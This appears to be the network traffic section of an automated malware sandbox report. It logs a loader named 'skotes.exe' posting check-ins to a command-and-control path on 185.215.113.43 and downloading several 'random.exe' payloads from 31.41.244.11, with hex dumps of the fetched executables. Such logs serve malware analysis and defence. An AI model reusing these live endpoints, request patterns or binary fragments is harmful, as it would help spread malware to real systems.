Dec 19, 2024 16:10:26.190460920 CET	1236	IN	Data Raw: 5b 5d c3 cc cc cc cc cc cc 55 8b 6c 24 08 52 51 ff 74 24 14 e8 a0 fe ff ff 83 c4 0c 5d c2 08 00 56 57 bf 68 4b 41 00 33 f6 6a 00 68 a0 0f 00 00 57 e8 2f 02 00 00 83 c4 0c 85 c0 74 15 ff 05 80 4b 41 00 83 c6 18 83 c7 18 83 fe 18 72 db b0 01 eb 07 Data Ascii: []Ul$RQt$]VWhKA3jhW/tKAr2_^V5KAt kWPKAW@KAu_^UQQEWKAE;u3VuRS]V=MKA0t;uF!4@OUYKAu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49922	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:38.529082060 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017680001&unit=246122658369
Dec 19, 2024 16:10:39.832595110 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49931	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:39.962579012 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:10:41.298085928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:41 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT Connection: keep-alive ETag: "67630e4a-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
Dec 19, 2024 16:10:41.298139095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:10:41.298152924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:10:41.298371077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:10:41.298382998 CET	1236	IN	Data Raw: bf b4 55 79 0f 9b ce 2f 6e 6d ed 4f 09 0d df 74 20 dd 56 71 87 34 cb d8 cb 18 60 a9 e4 de 21 14 b7 a4 d3 c7 09 60 c9 0a f4 14 20 72 7f 4c eb d5 0d 5d c8 8a 9c 93 20 ee 3c 2d ee 0b c5 05 eb 14 62 6a 5a fb f0 d6 3c 1b 31 e7 a9 33 f9 bf 32 f0 ce b0 Data Ascii: Uy/nmOt Vq4`!` rL] <-bjZ<132nqw!Cva<QH5QDkgZE4=<IUdfgbb sa1"xV:Zj)0bQ-.W0e%HTb$
Dec 19, 2024 16:10:41.298396111 CET	1120	IN	Data Raw: 74 2e 8e 0f 35 7e 2a 78 87 5f 22 8e d2 c6 96 d3 d1 7c ce ef 5f b8 0e 01 f1 7e 6e 70 4b 90 2e d8 a3 c2 95 c6 31 68 9d 40 1b fc ee 4f e4 d5 c9 45 e0 7c ef 1a fd 38 f4 56 aa 2c d2 92 a7 46 64 0a c5 14 81 19 9a 52 d0 69 c4 48 f6 0b 23 64 ef f7 db 8c Data Ascii: t.5~x_"\|_~npK.1h@OE\|8V,FdRiH#dl$d\|[orPS:/nV}.[c3>*A/U8&7Z`<tFLlS\t8}XpD)ra-dsjWZA^}kfvBtQ
Dec 19, 2024 16:10:41.298408031 CET	1236	IN	Data Raw: 64 80 2c 49 b6 2c 00 d3 d3 65 4e 38 c9 50 06 f7 7b 3d a1 73 f8 5a af 84 37 4e 63 bf 3b ae d1 16 2a 5b e5 10 8c 9e c8 e2 5a d3 70 92 52 42 4d ed 33 56 fc 87 e3 49 15 09 a6 bc ba 95 e9 d1 61 ca 99 36 d0 18 f0 3d be c8 57 2d 96 f7 6a cb 71 db ce 68 Data Ascii: d,I,eN8P{=sZ7Nc;*[ZpRBM3VIa6=W-jqhKp[~qnv,(!#{KSqfst=71[l;}REMqSE<`U5sNl?i%:8uGV^Ov[sjl .
Dec 19, 2024 16:10:41.298418999 CET	224	IN	Data Raw: ea 23 86 3d bb 86 36 8e 46 42 9a 16 16 5a 2a 28 fb 48 4f 70 c1 a0 62 73 92 13 55 09 b1 05 cc 5d 50 bf 03 e6 db a4 a4 19 29 17 1d 3a ff 2e a0 ca 37 48 46 e8 74 1d fc 55 85 1d 9d e0 15 6c 9e 1a 7a 50 27 26 a2 75 52 40 f5 82 36 12 7c 5a 02 73 36 68 Data Ascii: #=6FBZ(HOpbsU]P):.7HFtUlzP'&uR@6\|Zs6hSx)7ea'4jM#<b^qU-\|*<-raz8af5/)PWh'=+M"6VD%Iuv35R,syrz[1g;
Dec 19, 2024 16:10:41.298618078 CET	1236	IN	Data Raw: 64 d2 a2 d5 c2 92 2b bb fd 27 b3 ec fd 7c 3e 1f 68 04 07 bc 6a cc e9 40 d4 9c 50 1c 5b d9 4c ec 49 56 05 11 60 d4 30 e8 7d 0c 2a 75 80 ec 82 cd 34 74 80 ad e3 9c 3d 52 81 5d a2 da c9 37 30 7b b4 2c 39 43 1d 29 96 e7 8f 58 93 d0 4d 55 ba 96 aa e4 Data Ascii: d+'\|>hj@P[LIV`0}u4t=R]70{,9C)XMUn]c3.b<5k$\7ma(\|_F/eE)/^M^QLn5I'?"{rkzZ+;2_s`^WCNyRR#[\L u-#zpaqT'#16
Dec 19, 2024 16:10:41.298630953 CET	1236	IN	Data Raw: 63 da 4e 31 e8 d8 97 1d fb 4e 22 3d e1 53 6c a4 d6 df 48 bf 1a 80 20 a5 78 dc 48 f1 31 3a 12 84 41 76 a4 03 30 f0 6a b1 bc 6c b5 04 69 66 c2 55 dc 68 b0 0e 62 bf 91 30 01 fc c7 d8 9c 37 71 f1 3f 0c d5 4a 0b 68 d8 d2 2b 72 ef 6f 29 19 63 82 8f 16 Data Ascii: cN1N"=SlH xH1:Av0jlifUhb07q?Jh+ro)c2dSqhVY1YU.d/]ki5oVT``J-[F;lsNM[Hqo\U:Ui\|l'$y%2SO[?wcI59:QlJO9%5q;^
Dec 19, 2024 16:10:41.418502092 CET	1236	IN	Data Raw: f5 ed 64 6a 74 9d eb 52 ea ac 39 ff bb de 02 89 e7 16 16 27 5f 8e a6 4b 82 c1 ad 6f 2b af 95 80 a5 f9 56 e0 21 76 0f cc b8 d5 e5 e0 82 f4 43 ed 9e dc 93 1f 25 ad c9 ec 3a 9c cf bc 66 6f cf cd c1 4a 2e 11 97 56 44 00 a9 67 9a 3c 68 f1 26 9a b9 0b Data Ascii: djtR9'_Ko+V!vC%:foJ.VDg<h&r-m!a7}5Qm`b\'11\|:yAUcrc?64EE76?e5;chj63Q+4lX^O'tmz(4S:54Ktnh Q}V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49955	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:47.119669914 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017682001&unit=246122658369
Dec 19, 2024 16:10:48.451405048 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49960	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:48.618402004 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:10:49.926019907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:49 GMT Content-Type: application/octet-stream Content-Length: 4440064 Last-Modified: Thu, 19 Dec 2024 15:07:51 GMT Connection: keep-alive ETag: "676436c7-43c000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 c0 bc 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 bc 00 00 04 00 00 46 ba 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc a8 bc 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c a8 bc 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbg(DI$l2`I@FD@ _isi piH(@.rsrciX(@.idata iZ(@ 7i\(@gzutziek@p<^(@ncforaysC@.taggant0"C@
Dec 19, 2024 16:10:49.926054001 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:10:49.926068068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:10:49.926094055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:10:49.926111937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 16:10:49.926217079 CET	1236	IN	Data Raw: 1e e2 92 0b 96 91 cf 95 bf 39 05 3b ea 90 dd ef e2 b6 6b 43 b3 f9 81 c9 61 eb ca aa d6 be 85 01 b6 f0 dd 32 5a 56 3e 11 6e 65 36 a2 fe 59 a4 1a e9 df 14 c2 9a 3e 69 85 a8 08 0e 9a 43 bd 41 82 90 a1 28 d4 aa 54 d8 75 f1 fb ac ca 4a 37 67 0a 21 43 Data Ascii: 9;kCa2ZV>ne6Y>iCA(TuJ7g!ClQ{71@-zX2W#?7/?x2=n8,Ql^q%Z\|ul92HB\|v\s66.w9}tEJ5=$rlC^d@?k95H6Mi#!PO\|QPemHF#Oj
Dec 19, 2024 16:10:49.926259995 CET	1236	IN	Data Raw: 81 49 38 99 69 64 5c 12 72 41 04 8c b8 b3 00 1a e2 b6 57 82 6f ba c0 b4 34 3b 15 8d f1 55 a0 c6 85 68 47 46 81 fd 33 c4 21 81 96 a4 51 b1 19 1a 40 3a 0d ca fd 92 a9 c8 9f 6b f9 f4 a3 01 64 83 71 74 a4 82 61 f0 be f6 31 e0 bc 21 40 f0 e9 8a 70 51 Data Ascii: I8id\rAWo4;UhGF3!Q@:kdqta1!@pQg5hnIlOM\|ahQ(qb%M.,[s4/[\H.GO:kvN+7um(hm15T?P!Ez_J%^>&~,U[[v
Dec 19, 2024 16:10:49.926306009 CET	1120	IN	Data Raw: fd 6d dc 39 d6 65 88 b1 9f fd b3 15 ac 70 1b 09 07 ae 84 0e c3 25 50 c0 70 c2 e7 a0 7d ae 58 88 db 93 75 b4 1b 9e 45 2c da 2b 67 8f 29 63 61 22 a6 85 fc 24 23 0d f8 ab 64 e5 48 9e 86 18 fa 5d b4 12 8e a5 28 7c a7 a2 b5 fc c5 e5 f3 a5 56 91 ef cf Data Ascii: m9ep%Pp}XuE,+g)ca"$#dH](\|V8E:E_A{=An}#ZgHfnV:mcI6h<,]}6-A_~/ala8%=kiW}a^i1'A0"VOV}(q;>
Dec 19, 2024 16:10:49.926390886 CET	1236	IN	Data Raw: 50 2a 21 a2 ff b3 05 65 70 54 7e d5 f5 53 2c f3 81 4e 75 b5 45 eb 9b 95 90 6a 06 a2 bd 47 68 3f 22 01 62 93 7d 6d 07 aa 6d 98 e6 96 7e ec 37 98 d1 d3 e5 d4 35 3b 1e 7c f9 cc 9d 9e 61 30 7c 6d 1b ff 16 16 14 58 47 1e 8f 52 81 d6 47 a3 00 63 dd e1 Data Ascii: P*!epT~S,NuEjGh?"b}mm~75;\|a0\|mXGRGc%2!}xD{hU1M#uJ6/bb=J7b}a=txUM,1qr}#1jI?':dq,Pa!,N;@p~.a/T-#j
Dec 19, 2024 16:10:49.926407099 CET	1236	IN	Data Raw: 3b b6 34 8f 87 76 69 89 42 61 38 91 6f 76 79 77 60 a4 37 83 66 3d e3 0e e4 7b 34 18 81 e7 fa 89 c5 dd 37 75 66 c4 1e d0 95 79 2a a9 34 78 0f e1 81 f8 30 05 bc cd 72 79 20 88 b2 c5 63 53 60 e6 cd 97 b9 b9 49 79 3e af 1a 48 1c e5 cc 6d 32 82 8b 2c Data Ascii: ;4viBa8ovyw`7f={47ufy*4x0ry cS`Iy>Hm2,)]^Fj1u~i;,g~D<3R~z@^btFD7Em"]w[wP^cFT7Fk<m5}{W N~X_T`3v>uD(Mz};'Kr
Dec 19, 2024 16:10:50.045911074 CET	1236	IN	Data Raw: aa bf 29 a1 a6 6a 10 c6 f0 a3 29 bf 95 5e af c3 77 84 5e 2c ef 21 46 8d 75 c5 29 21 8b e5 2b 35 23 7c 53 4e 57 7e 01 c3 8e e5 0b 35 1f aa af ca 8c 77 d4 a4 b9 ec 7c 69 78 1a 4e 1c 72 76 b0 a9 b9 ca e4 b2 4a c7 e0 96 bb ad af 3d e7 89 0f 41 72 9d Data Ascii: )j)^w^,!Fu)!+5#\|SNW~5w\|ixNrvJ=Arv)PqoWqYY<P&~4t\v(a=2u~IUyMHXQd^4Pd5 ylr^W>f\|eSC!3^a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50007	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:59.520284891 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017683001&unit=246122658369
Dec 19, 2024 16:11:00.860310078 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50015	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:01.037161112 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:11:02.386090040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:11:02 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 19, 2024 16:11:02.386156082 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 19, 2024 16:11:02.386194944 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 19, 2024 16:11:02.386291981 CET	1236	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 19, 2024 16:11:02.386300087 CET	1236	IN	Data Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW\|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
Dec 19, 2024 16:11:02.386307001 CET	1236	IN	Data Raw: 59 8b 4d fc 41 51 50 89 45 f8 8d 45 98 50 ff d3 3b 45 fc 77 40 ff d7 85 c0 75 3a 8b 86 bc e0 41 00 85 c0 74 25 8b 7d f8 57 50 ff 15 2c a1 41 00 85 c0 74 13 ff b6 bc e0 41 00 e8 14 6d 01 00 89 be bc e0 41 00 eb 16 57 eb 0e 8b 45 f8 89 86 bc e0 41 Data Ascii: YMAQPEEP;Ew@u:At%}WP,AtAmAWEAulYuAAAA9t;AuS0AG3jZGQl=AYAu:%AjXPAhP4A~XP
Dec 19, 2024 16:11:02.386485100 CET	1236	IN	Data Raw: 20 a1 41 00 85 c0 74 37 8b 4d d4 33 c0 3b c8 77 2e 72 08 8b 45 d0 3b 45 08 73 24 6a 2b e8 70 fa ff ff 50 e8 86 6b 00 00 83 f8 01 59 59 74 09 83 0d c8 e9 41 00 ff eb ae 83 0d c8 e9 41 00 02 33 c0 40 c9 c3 ff 74 24 04 e8 8d ff ff ff 85 c0 59 75 01 Data Ascii: At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV3Wt$FFYW.t$6YY~_^D$V;F\|P^VWt$YWFt$AP
Dec 19, 2024 16:11:02.386501074 CET	1236	IN	Data Raw: e8 c0 e2 ff ff 66 83 24 46 00 59 89 45 f8 8d 45 f4 50 8b cf e8 64 e5 ff ff 56 e8 8c 63 01 00 59 5b 5f 5e c9 c3 55 8b ec b8 20 10 00 00 e8 cf 63 01 00 53 56 57 8b 7d 08 8b 07 33 db 53 53 53 53 57 ff 50 10 8b 45 14 ff 75 0c 8b 35 30 a1 41 00 89 58 Data Ascii: f$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+
Dec 19, 2024 16:11:02.386513948 CET	1236	IN	Data Raw: 46 02 eb 22 8d 46 02 66 83 38 7b 75 02 8b f0 0f b7 06 50 8b cb e8 e8 e3 ff ff 03 f7 0f b7 06 66 85 c0 75 c6 8b c6 5f 5e 5b c3 8b 4c 24 04 56 6a 5c e8 25 f7 ff ff 8b 4c 24 08 6a 2f 8b f0 e8 18 f7 ff ff 3b c6 7e 02 8b f0 8b c6 5e c3 56 57 8b 7c 24 Data Ascii: F"Ff8{uPfu_^[L$Vj\%L$j/;~^VW\|$t$A~!FPPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]
Dec 19, 2024 16:11:02.386522055 CET	1236	IN	Data Raw: eb 03 ff 75 ec 8d 4d e0 e8 ad f3 ff ff 8b 07 6a 05 03 c6 68 e4 a6 41 00 50 ff d3 83 c4 0c 85 c0 75 84 8b 07 6a 05 03 c6 68 e4 a6 41 00 50 ff d3 83 c4 0c 85 c0 75 d6 eb 23 80 f9 22 74 27 80 f9 5c 75 08 80 7c 30 01 22 75 01 46 0f b6 04 30 46 50 8d Data Ascii: uMjhAPujhAPu#"t'\u\|0"uF0FPMu^0u<tFuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At
Dec 19, 2024 16:11:02.506081104 CET	1236	IN	Data Raw: 4d f0 e8 ac ed ff ff 3b c7 7c 0a 8b 4d f0 66 89 3c 41 89 45 f4 6a 5c 8d 4d e4 e8 3b da ff ff 39 7d b8 74 16 8d 45 b4 50 8d 4d e4 e8 51 d7 ff ff 6a 5c 8d 4d e4 e8 20 da ff ff ff 75 e4 e8 6a fc ff ff 85 c0 59 0f 84 c2 00 00 00 8d 45 f0 50 8d 4d e4 Data Ascii: M;\|Mf<AEj\M;9}tEPMQj\M ujYEPM*hAMEPhAjWhTA}`AEV}PQP9}tEuPQ9}tEuPQ,9}tEuPQ$9}tESuPQDEURhDAP\|Ej

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50025	176.53.146.212	80	7900	C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe

Timestamp	Bytes transferred	Direction	Data
